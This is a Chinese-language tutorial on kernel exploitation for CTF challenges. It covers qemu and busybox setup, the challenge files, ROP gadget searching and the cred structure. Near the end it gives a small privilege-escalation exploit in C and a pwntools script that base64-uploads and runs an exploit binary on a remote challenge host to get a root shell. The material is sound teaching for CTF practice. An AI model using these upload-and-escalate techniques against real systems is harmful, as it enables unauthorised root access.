前提介绍

内核与用户pwn的区别

  • 内核pwn和用户pwn的区别如下:
    • 获取权限:最大的区别就是用户的pwn是拼凑system('/bin/sh'),这样以后就可以getshell。而内核的pwn是提权,各种操作后将Linux的操作权限从用户变成root权限。
    • 代码量:用户pwn大多都对程序进行攻击,内核的pwn是对操作系统的内核,攻击对象由程序这层转变为操作系统这层。这就意味着需要阅读内核代码,这代码量往往比用户pwn大得多。也需要更扎实的操作系统理论知识。
    • 保护机制:内核的保护机制也和程序的保护机制用差别。

内核pwn的题型

  • 内核pwn主要是寻找偏硬件的程序漏洞。接下来就对内核pwn的题型进行初步的分类。
  • 我们一般入门都是先对/dev目录下的设备驱动进行利用,并且CTF关于内核的出题一般来说就是出/dev目录下面的题目。

image-20250529220821883

  • 而如果按照漏洞造成的结果,内核漏洞就可以简单分为如下三类:提权内核任意执行逃逸

内核pwn环境搭建

  • 接下来就来安装一下内核pwn利用的相关调试环境。

qemu的安装

  • 在内核pwn题中会出现一个.sh脚本,这个脚本用qemu使用的题目的内核程序。
1
2
3
4
5
6
7
8
9
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel "./bzImage" \
-initrd "./rootfs.cpio" \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet FLAG=$FLAG" \
-smp cores=2,threads=1 \
-cpu kvm64
  • 所以我们需要使用qemu这个虚拟化软件,这样我们就可以在本地中启动题目给的内核脚本文件。
  • 接下来使用如下命令安装qemu程序。
1
2
sudo apt update
sudo apt install qemu-system-x86
  • 安装完之后运行如下命令查看一下qemu是否安装完成
1
qemu-system-x86_64 --version

image-20250504174911806

busbox文件系统

  • 选择使用busbox作为内核调试的文件系统环境有以下几点好处:

    • 当做内核开发和研究的时候,并不需要准备完备的文件系统,那样太复杂也很占存储空间,busybox对于kernel开发和调试来说正好合适

    • 当进行跨平台内核调试时,用完备的ext4系统,运行非常慢,busybox主要是为了嵌入式之类的运算能力弱的设备

    • qemu-system的纯软件模拟非常慢,busybox刚好合适

  • 可以直接选择包管理器一键安装

1
2
sudo apt update
sudo apt install busybox
  • 也可以选择下载源码后本地编译安装(建议:busybox默认是动态编译,但是这里需要的是静态编译,如果动态编译的话会让文件系统变得很大)
  • 先下载一下编译需要的依赖
1
2
sudo apt update
sudo apt install build-essential libncurses-dev bison flex
  • 然后使用命令去官网上下载busybox源码
1
wget https://busybox.net/downloads/busybox-1.36.1.tar.bz2
  • 下载之后解压缩文件
1
2
tar xjf busybox-1.36.1.tar.bz2
cd busybox-1.36.1
  • 然后进行编译安装make xxxxxconfig,busybox提供了几种编译配置

    • defconfig(默认配置)

    • allyesconfig(最大配置)

    • allnoconfig(最小配置)

    • 这里我们一般选择默认配置

  • 然后是make menuconfig,选择静态编译,当你认为上述配置中还有不满意的地方,可以进行微调,加入或去除某些命令。make menuconfig进入后选择安装位置,进入设置

image-20250504180347456

  • 选择静态链接

image-20250504180408969

  • 然后也可以选择这个修改安装目录

image-20250504180422457

  • 选择保存你所选择的配置

image-20250504180432419

  • 最后就是编译安装了
1
2
在x86_64下只要输入该指令即可:make -j4
如果要使用ARM64编译的话需要输入指令make -j4 CROSS_COMPILE=aarch64-linux-gnu-
  • 编译好了之后进行安装
1
make install
  • 安装好后找到你之前配置的安装路径

image-20250504180533864

内核pwn附件介绍

  • 内核pwn不同于用户模式下的pwn,用户模式下的pwn最多给三个文件,ldlibc程序,而内核pwn给的文件就有点多。

  • 以2024年9月的长城杯一个内核pwn的题目做介绍,刚好试试能不能复现一下。

  • 附件如下:https://wwsq.lanzoue.com/iZCI929l3qli 密码:ghfb

  • 题目给的附件结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.
├── start.sh # 启动脚本,运行这个脚本来启动QEMU
├── bzImage # 压缩过的内核镜像(这个是真正的编译后的内核程序)
└── rootfs.cpio # 作为初始RAM磁盘的文件,这里面的文件如下。注:这里只列出比较重要的文件,具体的看题目附件
|----init # init是系统启动时执行的第一个用户态进程(PID 1)。它是操作系统启动流程的核心部分,负责初始化系统并启动其他进程。这个init是比较重要的
|----linuxrc # linuxrc通常是一个脚本或可执行文件,它在一些早期的Linux版本中被用作默认的启动脚本,类似于init。
|----user # 这个多说
|----sbin # sbin是“system binary”的缩写,通常包含系统管理员使用的二进制文件。
|----lib # lib目录中的文件通常是为了支持基本命令和脚本运行所需的最小化库文件。
|---- .....
|---- test.ko # .ko表示的是内核模块,这个后面会具体介绍
|----dev # 设备文件
|----bin # bin目录通常包含一些基本的用户级二进制文件和命令

image-20240909173723116

内核文件–bzlmage

  • bzlmage这个还是比较熟悉的,之前在重新编译wsl内核的时候看见过该程序,大概知道这个是内核,但是还没具体了解

  • bzlmage这个是压缩后的Linux内核的镜像文件,它是一种大于传统的zImage格式的内核镜像。

    • bzImage 是 Linux 内核的引导镜像,用于引导系统启动。
    • 在内核pwn中,如果要开发一个远程漏洞利用脚本,理解 bzImage 的结构和启动过程可能会有助于理解漏洞的触发条件以及内核的内存布局。
    • 可能会要对 bzImage 进行逆向,以深入分析内核的行为、检测安全漏洞。
    • 使用balmage是比较难找gadget,这时候需要使用工具将该压缩后的内核文件解压成vmlinux文件,可以使用ropper在提取的vmlinux中搜寻gadget,ropper比ROPgadget快很多,所以需要安装ropper
    • bzlmage这个提取出vmlinux的工具网站如下。https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux,提取操作在下面
  • vmlinux是未压缩的Linux内核映像,包含完整的内核代码段和数据段。

    • 通常包含调试符号,能够通过gdb等调试器加载进行符号化调试。
    • 可以直接通过ROP工具或手动查找gadget,比如用ROPgadgetROPg等工具搜索gadgets。

启动脚本--start.sh

  • start.sh其实就是一些qemu的启动命令。
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh

qemu-system-x86_64 \
-m 256M \ # 参数设置RAM大小为64M
-kernel bzImage \ # 使用当前目录的bzImage作为内核镜像
-initrd rootfs.cpio \ # 指定使用rootfs.cpio作为初始RAM磁盘。可以使用cpio 命令提取这个cpio文件,提取出里面的需要的文件,比如init脚本和babydriver.ko的驱动文件。提取操作的命令放在下面的操作步骤中
-monitor /dev/null \ # 将监视器重定向到字符设备/dev/null
-append "root=/dev/ram console=ttyS0 loglevel=8 ttyS0,115200 kaslr" \
-cpu kvm64,+smep,+smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \ # 参数禁用图形输出并将串行I/O重定向到控制台
-no-reboot \ # 发生重启时不要自动重启虚拟机
-no-shutdown # 在虚拟机发出关闭信号(例如通过操作系统的关机命令)时不要自动关闭虚拟机。
  • 给这个脚本附加权限chmod +x start.sh后然后运行这个脚本就可以启动该内核环境

image-20240909180616067

初始RAM磁盘文件–rootfs.cpio

  • 这个文件与内核文件一样重要,这里面也存在几个很重要的文件
  • 之后会介绍如何将一个文件夹打包成这个文件,因为我们需要将静态编译好的用c语言写的exp文件放入这个文件中,然后再打包这个文件,学会打包这个文件是很重要的
  • 下面先介绍几个比较重要的文件(可能不全,还需要待补充)

初始化文件–init

  • init文件是系统启动时执行的第一个用户空间进程(PID 1)。它负责初始化系统,设置环境并启动其他进程。对init文件的分析可以帮助你理解系统的启动流程和配置。

  • init文件中包含的脚本和命令决定了系统如何挂载文件系统、设置网络、启动服务等。这些操作通常涉及到与内核的交互,并可能暴露潜在的漏洞或不安全的配置。

  • 通过分析init文件,你可以获得有关如何启动和配置系统的信息。这些信息有助于你确定如何在内核或内核模块中寻找潜在的漏洞。

  • 接下来我们来看一下init这个文件里面的内容

    • 从init里面的内容就可以比较快速的找出一些漏洞比如
      • test.ko 模块的代码和 /dev/test 设备的权限配置可能包含可利用的安全漏洞。
      • 并且知道了该系统启动时是以uid为1000的用户身份,而不是root身份
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/sh          # 指定该脚本应该由 /bin/sh 解释器执行。

# mkdir是创建目录
mkdir /tmp # 用于临时文件存储。
mkdir /proc # 用于显示内核和系统信息。
mkdir /sys # 用于显示和管理设备信息和系统状态。

# mount是挂载命令
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /lib/modules/5.10.0-9-generic/kernel/test.ko # 使用 insmod 工具加载内核模块 test.ko。这个模块可能包含漏洞或用于测试的代码。
chmod 666 /dev/test # 修改 /dev/test 设备文件的权限为 666,即所有用户都可以读写。这个设备文件是由前面加载的内核模块创建的。

setsid /bin/cttyhack setuidgid 1000 /bin/sh # 以 setuid 用户(UID 为 1000)身份启动一个新的 shell (/bin/sh)。setsid 命令会创建一个新的会话,cttyhack 确保新 shell 在控制终端上运行。

poweroff -d 0 -f # 强制系统关机。-d 0 表示关机延迟为 0 秒,-f 表示强制关机。

内核模块–test.ko(目前)

  • .ko文件表示这是一个可加载的内核对象文件,通常用于扩展内核的功能而不需要重新编译整个内核
    • 基本作用:内核模块可以增加内核的功能,如支持新的硬件设备、文件系统、网络协议等。
    • 作为驱动.ko 文件是设备驱动程序,它们允许操作系统与硬件设备进行交互。

解压bzlmage

  • 先在linux下,先使用wget拉取该仓库里面的内容
1
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
  • 先chmod给执行权限
  • 然后执行命令,即可解压,注意本题解压这个bzImage文件会出现extract-vmlinux: Cannot find vmlinux.
    • 所以我换了一个CISCN2017-babydriverbzImage进行解压
1
./extract-vmlinux ./bzImage > vmlinux

image-20240909194322389

安装使用Ropper

  • 安装Ropper
1
pip3 install ropper
  • 下载好后输入命令,看看Ropper是否安装好了
1
ropper --help

image-20240909195418256

  • 使用如下命令查找rop
1
ropper --file vmlinux

image-20240909195715902

  • 过滤和排序 ROP gadgets,过程很慢,因为文件量很大
1
2
3
ropper --file vmlinux --search "pop"
# 要将结果导出到文件,可以使用 -o 选项
ropper --file vmlinux --gadgets "pop" -o gadgets.txt

打包.cpio文件

  • 打包.cpio文件过程如下,现在模拟一下编写好exp如何进行提权。
  • .cpio文件可以直接用zip等解压,也可以在Linux下使用cpio命令解压
image-20240909185804531
  • 在Linux下解压cpio文件,需要先创建一个文件夹用来存放解压后的文件,因为使用cpio指令解压后的文件是分散的。
1
mkdir rootfs
  • 然后进入该文件夹
1
cd rootfs
  • 进入文件夹后使用cpio命令解压cpio文件
1
cpio -id < ../rootfs.cpio

-i:解包模式。

-d:在解包过程中创建目录。

< archive.cpio:从 archive.cpio 文件中读取数据。

  • 先将编写好的exp进行静态编译一下,然后编译成为二进制的文件,放入解压后的.cpio文件中,然后

image-20240909185822096

  • 然后在Linux下输入该命令
1
find ./rootfs1 -print | cpio -ov > rootfs1.cpio

查看.ko文件的保护

  • ko是内核题比较重要的文件,有时候漏洞可能就是由这里面的代码造成的,所以会存在一些保护机制,这就需要查看一下保护机制

  • 就直接使用checksec查看保护就行

1
checksec test.ko

image-20240909201033331

漏洞利用

提权

  • cred结构体:kernel使用cred结构体记录了进程的权限,如果能劫持或伪造cred结构体,就能改变当前进程的权限。(这里可能不太详细,之后再来补充)

  • Linux源码网站:/pub/linux/kernel/ 的索引

  • 查看源码,我查看的内核版本是linux-6.9版本的内核,然后cred结构体在include/linux/cred.h文件下

    • 一般而言,我们需要想办法将uid和gid设置为0(root的uid和gid均为0)
    • 在 Linux 操作系统中,UID(User Identifier,用户标识符)是一个唯一的整数,用于标识系统中的每个用户账户。
    • 在 Linux 操作系统中,GID(Group Identifier,组标识符)是一个唯一的整数,用于标识系统中的每个组。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/*
* The security context of a task
*
* The parts of the context break down into two categories:
*
* (1) The objective context of a task. These parts are used when some other
* task is attempting to affect this one.
*
* (2) The subjective context. These details are used when the task is acting
* upon another object, be that a file, a task, a key or whatever.
*
* Note that some members of this structure belong to both categories - the
* LSM security pointer for instance.
*
* A task has two security pointers. task->real_cred points to the objective
* context that defines that task's actual details. The objective part of this
* context is used whenever that task is acted upon.
*
* task->cred points to the subjective context that defines the details of how
* that task is going to act upon another object. This may be overridden
* temporarily to point to another security context, but normally points to the
* same context as task->real_cred.
*/
struct cred {
atomic_long_t usage;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct ucounts *ucounts;
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;

本地打内核

  • 用c写exp然后静态编译成可执行文件,再添加到cpio文件夹下,然后启动环境,运行exp,如果exp能通运行之后就是root权限,就有权限去打开flag文件
  • 在使用静态编译的时候,建议使用musl-gcc进行静态编译,这样编译后的文件会比较小。一般来说简单的exp.c编译后的文件大小为几十kb
1
musl-gcc -static -Os -o bout bout.c
  • 如果使用gcc进行静态编译,原本几十kb的文件就会变成几百kb,这样在发送这个文件到远程的时候就会出现发包量太大,从而导致一些包丢了,远程就利用不了。
  • 接下来就是一个简单的exp.c文件的例子:
1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<stdlib.h>
#include<sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
int main()
{
int fd1 = open("/dev/fafu_module",O_RDONLY);
ioctl(fd1,0xFAF);
system("/bin/sh");
return 0;
}

远程打内核

  • 远程打内核还是使用python写脚本进行漏洞利用,但是我们要用到之前编译好的exp文件。一般来说在远程的系统上都会有echobase64 -d这个命令。

  • 这时我们就需要将编译好的exp文件,使用base64编码,使用命令将这一堆base64放到远程靶机的一个文件中。

  • 然后再使用将该文件的base64全部解码到另一个文件中

  • 这时我们再使用chmod命令将远程的这个可执行文件赋予可执行权限,执行该文件后我们就成功提权了。

  • 这里给出一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64
import os
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
#context.log_level = 'critical'
p = remote("node5.anna.nssctf.cn",29203)
sleep(5)
with open('./exp','rb') as f:
data = f.read()
encoded = base64.b64encode(data)
encoded = str(encoded)[2:-1]
print(encoded)
#p.sendline(b'echo -n "%s" >> ./benc'%(b'aaaa'))
for i in range(0,len(encoded),1000):
print('%d / %d' % (i, len(encoded)))
p.sendline(b'echo -n \"%s\" >> ./benc'%(encoded[i:i+1000].encode("utf-8")))
sleep(0.2)
p.sendline(b"cat ./benc | base64 -d > ./bout")
p.sendline(b"chmod +x ./bout")
#p.recvuntil(b'chmod +x ./bout')
#context.log_level = 'debug'
#p.sendline("./bout")
p.interactive()
  • exp利用效果如下:

image-20250504184242235

  • 运行exp后就可以提权了

image-20250504184308185

image-20250504184319732

远程接收问题

  • 在打内核的时候会碰到远程接收问题,也就是在py脚本中如果没有设置一个环境变量,就会导致在接收的时候出现如下无回显的问题。

image-20250504184648306

  • 这个时候我们就需要再导入pwntools这个模块之前设置环境变量:os.environ['PWNLIB_NOTERM'] = '1',具体如下:
1
2
3
4
import base64
import os
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
  • 设置完这个环境变量之后就可以解决这个问题

image-20250504191354682